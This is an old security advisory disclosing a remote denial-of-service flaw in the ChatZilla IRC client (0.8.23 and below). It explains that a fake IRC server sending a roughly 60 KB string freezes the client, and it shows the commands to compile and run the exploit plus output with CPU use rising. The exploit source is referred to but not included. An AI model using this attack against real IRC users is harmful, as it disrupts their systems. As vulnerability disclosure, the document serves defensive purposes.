ChatZilla <=v0.8.23 remote DoS vulnerability

/**********************************************************
*
* m00 security advistory #003
*
* ChatZilla <=v0.8.23 remote DoS vulnerability
*
* www.m00security.org
*
************************************************************/

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Product: ChatZilla
Version: 0.8.23 and bellow
OffSite: www.mozilla.org
---------------------------------

Overview:

ChatZilla is a (popular?) linux irc-client. Mozilla/5.0 include it.

Problem description:

It's possible to freeze system by sending special request
with very long string (60kb) to ChatZilla. The vuln could be used
by IRC server. Look at the attached exploit source code for more
info. Example on localhost:

[root_at_localhost 0dd]# gcc -o m00-ChatZilla m00-ChatZilla.c
[root_at_localhost 0dd]# ./m00-ChatZilla 6667

ChatZilla <=v0.8.23 remote DoS exploit // www.m00security.org

[~] Generating evil buf.... OK
[+] fake ircd created on port 6667
[+] User connected. Attacking.... OK

[root_at_localhost 0dd]# ps -aux | grep mozilla-bin
satan 2128 0.0 12.3 49588 31564 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2118 29.4 12.3 49588 31564 ? R 19:33 0:29
/usr/lib/mozilla-1.3/mozilla-bin <-----
satan 2127 0.0 12.3 49588 31564 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2129 0.0 12.3 49588 31564 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2130 0.0 12.3 49588 31564 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2131 0.0 12.3 49588 31564 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin

....after ~10min CPU usage increase up to ~90% on Athlon XP 2000

[root_at_localhost 0dd]# ps -aux | grep mozilla-bin
satan 2128 0.0 12.4 49588 31820 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2118 88.8 12.4 49588 31820 ? R 19:33 10:45
/usr/lib/mozilla-1.3/mozilla-bin <-----
satan 2127 0.0 12.4 49588 31820 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2129 0.0 12.4 49588 31820 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2130 0.0 12.4 49588 31820 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin
satan 2131 0.0 12.4 49588 31820 ? S 19:33 0:00
/usr/lib/mozilla-1.3/mozilla-bin

Exploit attached.

(c) m00 Security / d4rkgr3y [d4rk_at_securitylab.ru]